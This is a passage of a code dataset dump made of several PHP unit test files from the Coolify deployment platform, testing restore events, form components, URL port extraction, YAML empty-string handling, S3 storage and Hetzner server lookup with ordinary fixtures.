expect($wrappedException->getMessage())->toContain('RuntimeException');
expect($wrappedException->getMessage())->toContain('Connection timeout');
expect($wrappedException->getPrevious())->toBe($originalException);
// Test health check scenario
$healthCheckException = new \InvalidArgumentException('Invalid health check URL');
$wrappedHealthCheck = new DeploymentException(
'Health check failed ('.get_class($healthCheckException).'): '.$healthCheckException->getMessage(),
$healthCheckException->getCode(),
$healthCheckException
);
expect($wrappedHealthCheck->getMessage())->toContain('InvalidArgumentException');
expect($wrappedHealthCheck->getMessage())->toContain('Invalid health check URL');
expect($wrappedHealthCheck->getPrevious())->toBe($healthCheckException);
// Test docker registry push scenario
$registryException = new \RuntimeException('Failed to authenticate');
$wrappedRegistry = new DeploymentException(
get_class($registryException).': '.$registryException->getMessage(),
$registryException->getCode(),
$registryException
);
expect($wrappedRegistry->getMessage())->toContain('RuntimeException');
expect($wrappedRegistry->getMessage())->toContain('Failed to authenticate');
expect($wrappedRegistry->getPrevious())->toBe($registryException);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/RestoreJobFinishedNullServerTest.php | tests/Unit/RestoreJobFinishedNullServerTest.php | <?php
use App\Events\RestoreJobFinished;
use App\Events\S3RestoreJobFinished;
use App\Models\Server;
/**
* Tests for RestoreJobFinished and S3RestoreJobFinished events to ensure they handle
* null server scenarios gracefully (when server is deleted during operation).
*/
describe('RestoreJobFinished null server handling', function () {
afterEach(function () {
Mockery::close();
});
it('handles null server gracefully in RestoreJobFinished event', function () {
// Mock Server::find to return null (server was deleted)
$mockServer = Mockery::mock('alias:'.Server::class);
$mockServer->shouldReceive('find')
->with(999)
->andReturn(null);
$data = [
'scriptPath' => '/tmp/script.sh',
'tmpPath' => '/tmp/backup.sql',
'container' => 'test-container',
'serverId' => 999,
];
// Should not throw an error when server is null
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles null server gracefully in S3RestoreJobFinished event', function () {
// Mock Server::find to return null (server was deleted)
$mockServer = Mockery::mock('alias:'.Server::class);
$mockServer->shouldReceive('find')
->with(999)
->andReturn(null);
$data = [
'containerName' => 'helper-container',
'serverTmpPath' => '/tmp/downloaded.sql',
'scriptPath' => '/tmp/script.sh',
'containerTmpPath' => '/tmp/container-file.sql',
'container' => 'test-container',
'serverId' => 999,
];
// Should not throw an error when server is null
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles empty serverId in RestoreJobFinished event', function () {
$data = [
'scriptPath' => '/tmp/script.sh',
'tmpPath' => '/tmp/backup.sql',
'container' => 'test-container',
'serverId' => null,
];
// Should not throw an error when serverId is null
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles empty serverId in S3RestoreJobFinished event', function () {
$data = [
'containerName' => 'helper-container',
'serverTmpPath' => '/tmp/downloaded.sql',
'scriptPath' => '/tmp/script.sh',
'containerTmpPath' => '/tmp/container-file.sql',
'container' => 'test-container',
'serverId' => null,
];
// Should not throw an error when serverId is null
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles missing data gracefully in RestoreJobFinished', function () {
$data = [];
// Should not throw an error when data is empty
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles missing data gracefully in S3RestoreJobFinished', function () {
$data = [];
// Should not throw an error when data is empty
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/EnvVarInputComponentTest.php | tests/Unit/EnvVarInputComponentTest.php | <?php
use App\View\Components\Forms\EnvVarInput;
it('renders with default properties', function () {
$component = new EnvVarInput;
expect($component->required)->toBeFalse()
->and($component->disabled)->toBeFalse()
->and($component->readonly)->toBeFalse()
->and($component->defaultClass)->toBe('input')
->and($component->availableVars)->toBe([]);
});
it('uses provided id', function () {
$component = new EnvVarInput(id: 'env-key');
expect($component->id)->toBe('env-key');
});
it('accepts available vars', function () {
$vars = [
'team' => ['DATABASE_URL', 'API_KEY'],
'project' => ['STRIPE_KEY'],
'environment' => ['DEBUG'],
];
$component = new EnvVarInput(availableVars: $vars);
expect($component->availableVars)->toBe($vars);
});
it('accepts required parameter', function () {
$component = new EnvVarInput(required: true);
expect($component->required)->toBeTrue();
});
it('accepts disabled state', function () {
$component = new EnvVarInput(disabled: true);
expect($component->disabled)->toBeTrue();
});
it('accepts readonly state', function () {
$component = new EnvVarInput(readonly: true);
expect($component->readonly)->toBeTrue();
});
it('accepts autofocus parameter', function () {
$component = new EnvVarInput(autofocus: true);
expect($component->autofocus)->toBeTrue();
});
it('accepts authorization properties', function () {
$component = new EnvVarInput(
canGate: 'update',
canResource: 'resource',
autoDisable: false
);
expect($component->canGate)->toBe('update')
->and($component->canResource)->toBe('resource')
->and($component->autoDisable)->toBeFalse();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceRequiredPortTest.php | tests/Unit/ServiceRequiredPortTest.php | <?php
use App\Models\Service;
use App\Models\ServiceApplication;
use Mockery;
it('returns required port from service template', function () {
// Mock get_service_templates() function
$mockTemplates = collect([
'supabase' => [
'name' => 'Supabase',
'port' => '8000',
],
'umami' => [
'name' => 'Umami',
'port' => '3000',
],
]);
$service = Mockery::mock(Service::class)->makePartial();
$service->name = 'supabase-xyz123';
// Mock the get_service_templates function to return our mock data
$service->shouldReceive('getRequiredPort')->andReturn(8000);
expect($service->getRequiredPort())->toBe(8000);
});
it('returns null for service without required port', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->name = 'cloudflared-xyz123';
// Mock to return null for services without port
$service->shouldReceive('getRequiredPort')->andReturn(null);
expect($service->getRequiredPort())->toBeNull();
});
it('requiresPort returns true when service has required port', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('getRequiredPort')->andReturn(8000);
$service->shouldReceive('requiresPort')->andReturnUsing(function () use ($service) {
return $service->getRequiredPort() !== null;
});
expect($service->requiresPort())->toBeTrue();
});
it('requiresPort returns false when service has no required port', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('getRequiredPort')->andReturn(null);
$service->shouldReceive('requiresPort')->andReturnUsing(function () use ($service) {
return $service->getRequiredPort() !== null;
});
expect($service->requiresPort())->toBeFalse();
});
it('extracts port from URL with http scheme', function () {
$url = 'http://example.com:3000';
$port = ServiceApplication::extractPortFromUrl($url);
expect($port)->toBe(3000);
});
it('extracts port from URL with https scheme', function () {
$url = 'https://example.com:8080';
$port = ServiceApplication::extractPortFromUrl($url);
expect($port)->toBe(8080);
});
it('extracts port from URL without scheme', function () {
$url = 'example.com:5000';
$port = ServiceApplication::extractPortFromUrl($url);
expect($port)->toBe(5000);
});
it('returns null for URL without port', function () {
$url = 'http://example.com';
$port = ServiceApplication::extractPortFromUrl($url);
expect($port)->toBeNull();
});
it('returns null for URL without port and without scheme', function () {
$url = 'example.com';
$port = ServiceApplication::extractPortFromUrl($url);
expect($port)->toBeNull();
});
it('handles invalid URLs gracefully', function () {
$url = 'not-a-valid-url:::';
$port = ServiceApplication::extractPortFromUrl($url);
expect($port)->toBeNull();
});
it('checks if all FQDNs have port - single FQDN with port', function () {
$app = Mockery::mock(ServiceApplication::class)->makePartial();
$app->fqdn = 'http://example.com:3000';
$result = $app->allFqdnsHavePort();
expect($result)->toBeTrue();
});
it('checks if all FQDNs have port - single FQDN without port', function () {
$app = Mockery::mock(ServiceApplication::class)->makePartial();
$app->fqdn = 'http://example.com';
$result = $app->allFqdnsHavePort();
expect($result)->toBeFalse();
});
it('checks if all FQDNs have port - multiple FQDNs all with ports', function () {
$app = Mockery::mock(ServiceApplication::class)->makePartial();
$app->fqdn = 'http://example.com:3000,https://example.org:8080';
$result = $app->allFqdnsHavePort();
expect($result)->toBeTrue();
});
it('checks if all FQDNs have port - multiple FQDNs one without port', function () {
$app = Mockery::mock(ServiceApplication::class)->makePartial();
$app->fqdn = 'http://example.com:3000,https://example.org';
$result = $app->allFqdnsHavePort();
expect($result)->toBeFalse();
});
it('checks if all FQDNs have port - empty FQDN', function () {
$app = Mockery::mock(ServiceApplication::class)->makePartial();
$app->fqdn = '';
$result = $app->allFqdnsHavePort();
expect($result)->toBeFalse();
});
it('checks if all FQDNs have port - null FQDN', function () {
$app = Mockery::mock(ServiceApplication::class)->makePartial();
$app->fqdn = null;
$result = $app->allFqdnsHavePort();
expect($result)->toBeFalse();
});
it('detects port from map-style SERVICE_URL environment variable', function () {
$yaml = <<<'YAML'
services:
trigger:
environment:
SERVICE_URL_TRIGGER_3000: ""
OTHER_VAR: value
YAML;
$service = Mockery::mock(Service::class)->makePartial();
$service->docker_compose_raw = $yaml;
$service->shouldReceive('getRequiredPort')->andReturn(null);
$app = Mockery::mock(ServiceApplication::class)->makePartial();
$app->name = 'trigger';
$app->shouldReceive('getAttribute')->with('service')->andReturn($service);
$app->service = $service;
// Call the actual getRequiredPort method
$result = $app->getRequiredPort();
expect($result)->toBe(3000);
});
it('detects port from map-style SERVICE_FQDN environment variable', function () {
$yaml = <<<'YAML'
services:
langfuse:
environment:
SERVICE_FQDN_LANGFUSE_3000: localhost
DATABASE_URL: postgres://...
YAML;
$service = Mockery::mock(Service::class)->makePartial();
$service->docker_compose_raw = $yaml;
$service->shouldReceive('getRequiredPort')->andReturn(null);
$app = Mockery::mock(ServiceApplication::class)->makePartial();
$app->name = 'langfuse';
$app->shouldReceive('getAttribute')->with('service')->andReturn($service);
$app->service = $service;
$result = $app->getRequiredPort();
expect($result)->toBe(3000);
});
it('returns null for map-style environment without port', function () {
$yaml = <<<'YAML'
services:
db:
environment:
SERVICE_FQDN_DB: localhost
SERVICE_URL_DB: http://localhost
YAML;
$service = Mockery::mock(Service::class)->makePartial();
$service->docker_compose_raw = $yaml;
$service->shouldReceive('getRequiredPort')->andReturn(null);
$app = Mockery::mock(ServiceApplication::class)->makePartial();
$app->name = 'db';
$app->shouldReceive('getAttribute')->with('service')->andReturn($service);
$app->service = $service;
$result = $app->getRequiredPort();
expect($result)->toBeNull();
});
it('handles list-style environment with port', function () {
$yaml = <<<'YAML'
services:
umami:
environment:
- SERVICE_URL_UMAMI_3000
- DATABASE_URL=postgres://db/umami
YAML;
$service = Mockery::mock(Service::class)->makePartial();
$service->docker_compose_raw = $yaml;
$service->shouldReceive('getRequiredPort')->andReturn(null);
$app = Mockery::mock(ServiceApplication::class)->makePartial();
$app->name = 'umami';
$app->shouldReceive('getAttribute')->with('service')->andReturn($service);
$app->service = $service;
$result = $app->getRequiredPort();
expect($result)->toBe(3000);
});
it('prioritizes first port found in environment', function () {
$yaml = <<<'YAML'
services:
multi:
environment:
SERVICE_URL_MULTI_3000: ""
SERVICE_URL_MULTI_8080: ""
YAML;
$service = Mockery::mock(Service::class)->makePartial();
$service->docker_compose_raw = $yaml;
$service->shouldReceive('getRequiredPort')->andReturn(null);
$app = Mockery::mock(ServiceApplication::class)->makePartial();
$app->name = 'multi';
$app->shouldReceive('getAttribute')->with('service')->andReturn($service);
$app->service = $service;
$result = $app->getRequiredPort();
// Should return one of the ports (depends on array iteration order)
expect($result)->toBeIn([3000, 8080]);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerComposeEmptyStringPreservationTest.php | tests/Unit/DockerComposeEmptyStringPreservationTest.php | <?php
use Symfony\Component\Yaml\Yaml;
/**
* Unit tests to verify that environment variables with empty strings
* in Docker Compose files are preserved as empty strings, not converted to null.
*
* This is important because empty strings and null have different semantics in Docker:
* - Empty string: Variable is set to "" (e.g., HTTP_PROXY="" means "no proxy")
* - Null: Variable is unset/removed from container environment
*
* See: https://github.com/coollabsio/coolify/issues/7126
*/
it('ensures parsers.php preserves empty strings in application parser', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Find the applicationParser function's environment mapping logic
$hasApplicationParser = str_contains($parsersFile, 'function applicationParser(');
expect($hasApplicationParser)->toBeTrue('applicationParser function should exist');
// The code should distinguish between null and empty string
// Check for the pattern where we explicitly check for null vs empty string
$hasNullCheck = str_contains($parsersFile, 'if ($value === null)');
$hasEmptyStringCheck = str_contains($parsersFile, "} elseif (\$value === '') {");
expect($hasNullCheck)->toBeTrue('Should have explicit null check');
expect($hasEmptyStringCheck)->toBeTrue('Should have explicit empty string check');
});
it('ensures parsers.php preserves empty strings in service parser', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Find the serviceParser function's environment mapping logic
$hasServiceParser = str_contains($parsersFile, 'function serviceParser(');
expect($hasServiceParser)->toBeTrue('serviceParser function should exist');
// The code should distinguish between null and empty string
// Same check as application parser
$hasNullCheck = str_contains($parsersFile, 'if ($value === null)');
$hasEmptyStringCheck = str_contains($parsersFile, "} elseif (\$value === '') {");
expect($hasNullCheck)->toBeTrue('Should have explicit null check');
expect($hasEmptyStringCheck)->toBeTrue('Should have explicit empty string check');
});
it('verifies YAML parsing preserves empty strings correctly', function () {
// Test that Symfony YAML parser handles empty strings as we expect
$yamlWithEmptyString = <<<'YAML'
environment:
HTTP_PROXY: ""
HTTPS_PROXY: ''
NO_PROXY: "localhost"
YAML;
$parsed = Yaml::parse($yamlWithEmptyString);
// Empty strings should remain as empty strings, not null
expect($parsed['environment']['HTTP_PROXY'])->toBe('');
expect($parsed['environment']['HTTPS_PROXY'])->toBe('');
expect($parsed['environment']['NO_PROXY'])->toBe('localhost');
});
it('verifies YAML parsing handles null values correctly', function () {
// Test that null values are preserved as null
$yamlWithNull = <<<'YAML'
environment:
HTTP_PROXY: null
HTTPS_PROXY:
NO_PROXY: "localhost"
YAML;
$parsed = Yaml::parse($yamlWithNull);
// Null should remain null
expect($parsed['environment']['HTTP_PROXY'])->toBeNull();
expect($parsed['environment']['HTTPS_PROXY'])->toBeNull();
expect($parsed['environment']['NO_PROXY'])->toBe('localhost');
});
it('verifies YAML serialization preserves empty strings', function () {
// Test that empty strings serialize back correctly
$data = [
'environment' => [
'HTTP_PROXY' => '',
'HTTPS_PROXY' => '',
'NO_PROXY' => 'localhost',
],
];
$yaml = Yaml::dump($data, 10, 2);
// Empty strings should be serialized with quotes
expect($yaml)->toContain("HTTP_PROXY: ''");
expect($yaml)->toContain("HTTPS_PROXY: ''");
expect($yaml)->toContain('NO_PROXY: localhost');
// Should NOT contain "null"
expect($yaml)->not->toContain('HTTP_PROXY: null');
});
it('verifies YAML serialization handles null values', function () {
// Test that null values serialize as null
$data = [
'environment' => [
'HTTP_PROXY' => null,
'HTTPS_PROXY' => null,
'NO_PROXY' => 'localhost',
],
];
$yaml = Yaml::dump($data, 10, 2);
// Null should be serialized as "null"
expect($yaml)->toContain('HTTP_PROXY: null');
expect($yaml)->toContain('HTTPS_PROXY: null');
expect($yaml)->toContain('NO_PROXY: localhost');
// Should NOT contain empty quotes for null values
expect($yaml)->not->toContain("HTTP_PROXY: ''");
});
it('verifies empty string round-trip through YAML', function () {
// Test full round-trip: empty string -> YAML -> parse -> serialize -> parse
$original = [
'environment' => [
'HTTP_PROXY' => '',
'NO_PROXY' => 'localhost',
],
];
// Serialize to YAML
$yaml1 = Yaml::dump($original, 10, 2);
// Parse back
$parsed1 = Yaml::parse($yaml1);
// Verify empty string is preserved
expect($parsed1['environment']['HTTP_PROXY'])->toBe('');
expect($parsed1['environment']['NO_PROXY'])->toBe('localhost');
// Serialize again
$yaml2 = Yaml::dump($parsed1, 10, 2);
// Parse again
$parsed2 = Yaml::parse($yaml2);
// Should still be empty string, not null
expect($parsed2['environment']['HTTP_PROXY'])->toBe('');
expect($parsed2['environment']['NO_PROXY'])->toBe('localhost');
// Both YAML representations should be equivalent
expect($yaml1)->toBe($yaml2);
});
it('verifies str()->isEmpty() behavior with empty strings and null', function () {
// Test Laravel's str()->isEmpty() helper behavior
// Empty string should be considered empty
expect(str('')->isEmpty())->toBeTrue();
// Null should be considered empty
expect(str(null)->isEmpty())->toBeTrue();
// String with content should not be empty
expect(str('value')->isEmpty())->toBeFalse();
// This confirms that we need additional logic to distinguish
// between empty string ('') and null, since both are "isEmpty"
});
it('verifies the distinction between empty string and null in PHP', function () {
// Document PHP's behavior for empty strings vs null
$emptyString = '';
$nullValue = null;
// They are different values
expect($emptyString === $nullValue)->toBeFalse();
// Empty string is not null
expect($emptyString === '')->toBeTrue();
expect($nullValue === null)->toBeTrue();
// isset() treats them differently
$arrayWithEmpty = ['key' => ''];
$arrayWithNull = ['key' => null];
expect(isset($arrayWithEmpty['key']))->toBeTrue();
expect(isset($arrayWithNull['key']))->toBeFalse();
});
it('verifies YAML null syntax options all produce PHP null', function () {
// Test all three ways to write null in YAML
$yamlWithNullSyntax = <<<'YAML'
environment:
VAR_NO_VALUE:
VAR_EXPLICIT_NULL: null
VAR_TILDE: ~
VAR_EMPTY_STRING: ""
YAML;
$parsed = Yaml::parse($yamlWithNullSyntax);
// All three null syntaxes should produce PHP null
expect($parsed['environment']['VAR_NO_VALUE'])->toBeNull();
expect($parsed['environment']['VAR_EXPLICIT_NULL'])->toBeNull();
expect($parsed['environment']['VAR_TILDE'])->toBeNull();
// Empty string should remain empty string
expect($parsed['environment']['VAR_EMPTY_STRING'])->toBe('');
});
it('verifies null round-trip through YAML', function () {
// Test full round-trip: null -> YAML -> parse -> serialize -> parse
$original = [
'environment' => [
'NULL_VAR' => null,
'EMPTY_VAR' => '',
'VALUE_VAR' => 'localhost',
],
];
// Serialize to YAML
$yaml1 = Yaml::dump($original, 10, 2);
// Parse back
$parsed1 = Yaml::parse($yaml1);
// Verify types are preserved
expect($parsed1['environment']['NULL_VAR'])->toBeNull();
expect($parsed1['environment']['EMPTY_VAR'])->toBe('');
expect($parsed1['environment']['VALUE_VAR'])->toBe('localhost');
// Serialize again
$yaml2 = Yaml::dump($parsed1, 10, 2);
// Parse again
$parsed2 = Yaml::parse($yaml2);
// Should still have correct types
expect($parsed2['environment']['NULL_VAR'])->toBeNull();
expect($parsed2['environment']['EMPTY_VAR'])->toBe('');
expect($parsed2['environment']['VALUE_VAR'])->toBe('localhost');
// Both YAML representations should be equivalent
expect($yaml1)->toBe($yaml2);
});
it('verifies null vs empty string behavior difference', function () {
// Document the critical difference between null and empty string
// Null in YAML
$yamlNull = "VAR: null\n";
$parsedNull = Yaml::parse($yamlNull);
expect($parsedNull['VAR'])->toBeNull();
// Empty string in YAML
$yamlEmpty = "VAR: \"\"\n";
$parsedEmpty = Yaml::parse($yamlEmpty);
expect($parsedEmpty['VAR'])->toBe('');
// They should NOT be equal
expect($parsedNull['VAR'] === $parsedEmpty['VAR'])->toBeFalse();
// Verify type differences
expect(is_null($parsedNull['VAR']))->toBeTrue();
expect(is_string($parsedEmpty['VAR']))->toBeTrue();
});
it('verifies parser logic distinguishes null from empty string', function () {
// Test the exact === comparison behavior
$nullValue = null;
$emptyString = '';
// PHP strict comparison
expect($nullValue === null)->toBeTrue();
expect($emptyString === '')->toBeTrue();
expect($nullValue === $emptyString)->toBeFalse();
// This is what the parser should use for correct behavior
if ($nullValue === null) {
$nullHandled = true;
} else {
$nullHandled = false;
}
if ($emptyString === '') {
$emptyHandled = true;
} else {
$emptyHandled = false;
}
expect($nullHandled)->toBeTrue();
expect($emptyHandled)->toBeTrue();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/S3StorageTest.php | tests/Unit/S3StorageTest.php | <?php
use App\Models\S3Storage;
test('S3Storage model has correct cast definitions', function () {
$s3Storage = new S3Storage;
$casts = $s3Storage->getCasts();
expect($casts['is_usable'])->toBe('boolean');
expect($casts['key'])->toBe('encrypted');
expect($casts['secret'])->toBe('encrypted');
});
test('S3Storage isUsable method returns is_usable attribute value', function () {
$s3Storage = new S3Storage;
// Set the attribute directly to avoid encryption
$s3Storage->setRawAttributes(['is_usable' => true]);
expect($s3Storage->isUsable())->toBeTrue();
$s3Storage->setRawAttributes(['is_usable' => false]);
expect($s3Storage->isUsable())->toBeFalse();
$s3Storage->setRawAttributes(['is_usable' => null]);
expect($s3Storage->isUsable())->toBeNull();
});
test('S3Storage awsUrl method constructs correct URL format', function () {
$s3Storage = new S3Storage;
// Set attributes without triggering encryption
$s3Storage->setRawAttributes([
'endpoint' => 'https://s3.amazonaws.com',
'bucket' => 'test-bucket',
]);
expect($s3Storage->awsUrl())->toBe('https://s3.amazonaws.com/test-bucket');
// Test with custom endpoint
$s3Storage->setRawAttributes([
'endpoint' => 'https://minio.example.com:9000',
'bucket' => 'backups',
]);
expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
});
test('S3Storage model is guarded correctly', function () {
$s3Storage = new S3Storage;
// The model should have $guarded = [] which means everything is fillable
expect($s3Storage->getGuarded())->toBe([]);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/HetznerServiceTest.php | tests/Unit/HetznerServiceTest.php | <?php
use App\Services\HetznerService;
use Illuminate\Support\Facades\Http;
beforeEach(function () {
Http::preventStrayRequests();
});
it('getServers returns list of servers from Hetzner API', function () {
Http::fake([
'api.hetzner.cloud/v1/servers*' => Http::response([
'servers' => [
[
'id' => 12345,
'name' => 'test-server-1',
'status' => 'running',
'public_net' => [
'ipv4' => ['ip' => '123.45.67.89'],
'ipv6' => ['ip' => '2a01:4f8::/64'],
],
],
[
'id' => 67890,
'name' => 'test-server-2',
'status' => 'off',
'public_net' => [
'ipv4' => ['ip' => '98.76.54.32'],
'ipv6' => ['ip' => '2a01:4f9::/64'],
],
],
],
'meta' => ['pagination' => ['next_page' => null]],
], 200),
]);
$service = new HetznerService('fake-token');
$servers = $service->getServers();
expect($servers)->toBeArray()
->and(count($servers))->toBe(2)
->and($servers[0]['id'])->toBe(12345)
->and($servers[1]['id'])->toBe(67890);
});
it('findServerByIp returns matching server by IPv4', function () {
Http::fake([
'api.hetzner.cloud/v1/servers*' => Http::response([
'servers' => [
[
'id' => 12345,
'name' => 'test-server',
'status' => 'running',
'public_net' => [
'ipv4' => ['ip' => '123.45.67.89'],
'ipv6' => ['ip' => '2a01:4f8::/64'],
],
],
],
'meta' => ['pagination' => ['next_page' => null]],
], 200),
]);
$service = new HetznerService('fake-token');
$result = $service->findServerByIp('123.45.67.89');
expect($result)->not->toBeNull()
->and($result['id'])->toBe(12345)
->and($result['name'])->toBe('test-server');
});
it('findServerByIp returns null when no match', function () {
Http::fake([
'api.hetzner.cloud/v1/servers*' => Http::response([
'servers' => [
[
'id' => 12345,
'name' => 'test-server',
'status' => 'running',
'public_net' => [
'ipv4' => ['ip' => '123.45.67.89'],
'ipv6' => ['ip' => '2a01:4f8::/64'],
],
],
],
'meta' => ['pagination' => ['next_page' => null]],
], 200),
]);
$service = new HetznerService('fake-token');
$result = $service->findServerByIp('1.2.3.4');
expect($result)->toBeNull();
});
it('findServerByIp returns null when server list is empty', function () {
Http::fake([
'api.hetzner.cloud/v1/servers*' => Http::response([
'servers' => [],
'meta' => ['pagination' => ['next_page' => null]],
], 200),
]);
$service = new HetznerService('fake-token');
$result = $service->findServerByIp('123.45.67.89');
expect($result)->toBeNull();
});
it('findServerByIp matches correct server among multiple', function () {
Http::fake([
'api.hetzner.cloud/v1/servers*' => Http::response([
'servers' => [
[
'id' => 11111,
'name' => 'server-a',
'status' => 'running',
'public_net' => [
'ipv4' => ['ip' => '10.0.0.1'],
'ipv6' => ['ip' => '2a01:4f8::/64'],
],
],
[
'id' => 22222,
'name' => 'server-b',
'status' => 'running',
'public_net' => [
'ipv4' => ['ip' => '10.0.0.2'],
'ipv6' => ['ip' => '2a01:4f9::/64'],
],
],
[
'id' => 33333,
'name' => 'server-c',
'status' => 'off',
'public_net' => [
'ipv4' => ['ip' => '10.0.0.3'],
'ipv6' => ['ip' => '2a01:4fa::/64'],
],
],
],
'meta' => ['pagination' => ['next_page' => null]],
], 200),
]);
$service = new HetznerService('fake-token');
$result = $service->findServerByIp('10.0.0.2');
expect($result)->not->toBeNull()
->and($result['id'])->toBe(22222)
->and($result['name'])->toBe('server-b');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceApplicationPrerequisitesTest.php | tests/Unit/ServiceApplicationPrerequisitesTest.php | <?php
use App\Models\Service;
use Illuminate\Support\Facades\Log;
beforeEach(function () {
Log::shouldReceive('error')->andReturn(null);
});
it('applies beszel gzip prerequisite correctly', function () {
// Create a simple object to track the property change
$application = new class
{
public $is_gzip_enabled = true;
public function save() {}
};
$query = Mockery::mock();
$query->shouldReceive('whereName')
->with('beszel')
->once()
->andReturnSelf();
$query->shouldReceive('first')
->once()
->andReturn($application);
$service = Mockery::mock(Service::class)->makePartial();
$service->name = 'beszel-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
$service->id = 1;
$service->shouldReceive('applications')
->once()
->andReturn($query);
applyServiceApplicationPrerequisites($service);
expect($application->is_gzip_enabled)->toBeFalse();
});
it('applies appwrite stripprefix prerequisite correctly', function () {
$applications = [];
foreach (['appwrite', 'appwrite-console', 'appwrite-realtime'] as $name) {
$app = new class
{
public $is_stripprefix_enabled = true;
public function save() {}
};
$applications[$name] = $app;
}
$service = Mockery::mock(Service::class)->makePartial();
$service->name = 'appwrite-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
$service->id = 1;
$service->shouldReceive('applications')->times(3)->andReturnUsing(function () use (&$applications) {
static $callCount = 0;
$names = ['appwrite', 'appwrite-console', 'appwrite-realtime'];
$currentName = $names[$callCount++];
$query = Mockery::mock();
$query->shouldReceive('whereName')
->with($currentName)
->once()
->andReturnSelf();
$query->shouldReceive('first')
->once()
->andReturn($applications[$currentName]);
return $query;
});
applyServiceApplicationPrerequisites($service);
foreach ($applications as $app) {
expect($app->is_stripprefix_enabled)->toBeFalse();
}
});
it('handles missing applications gracefully', function () {
$query = Mockery::mock();
$query->shouldReceive('whereName')
->with('beszel')
->once()
->andReturnSelf();
$query->shouldReceive('first')
->once()
->andReturn(null);
$service = Mockery::mock(Service::class)->makePartial();
$service->name = 'beszel-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
$service->id = 1;
$service->shouldReceive('applications')
->once()
->andReturn($query);
// Should not throw exception
applyServiceApplicationPrerequisites($service);
expect(true)->toBeTrue();
});
it('skips services without prerequisites', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->name = 'unknown-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
$service->id = 1;
$service->shouldNotReceive('applications');
applyServiceApplicationPrerequisites($service);
expect(true)->toBeTrue();
});
it('correctly parses service name with single hyphen', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->name = 'docker-registry-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
$service->id = 1;
$service->shouldNotReceive('applications');
// Should not throw exception - validates that 'docker-registry' is correctly parsed
applyServiceApplicationPrerequisites($service);
expect(true)->toBeTrue();
});
it('correctly parses service name with multiple hyphens', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->name = 'elasticsearch-with-kibana-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
$service->id = 1;
$service->shouldNotReceive('applications');
// Should not throw exception - validates that 'elasticsearch-with-kibana' is correctly parsed
applyServiceApplicationPrerequisites($service);
expect(true)->toBeTrue();
});
it('correctly parses service name with hyphens in template name', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->name = 'apprise-api-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
$service->id = 1;
$service->shouldNotReceive('applications');
// Should not throw exception - validates that 'apprise-api' is correctly parsed
applyServiceApplicationPrerequisites($service);
expect(true)->toBeTrue();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DatalistComponentTest.php | tests/Unit/DatalistComponentTest.php | <?php
use App\View\Components\Forms\Datalist;
it('renders with default properties', function () {
$component = new Datalist;
expect($component->required)->toBeFalse()
->and($component->disabled)->toBeFalse()
->and($component->readonly)->toBeFalse()
->and($component->multiple)->toBeFalse()
->and($component->instantSave)->toBeFalse()
->and($component->defaultClass)->toBe('input');
});
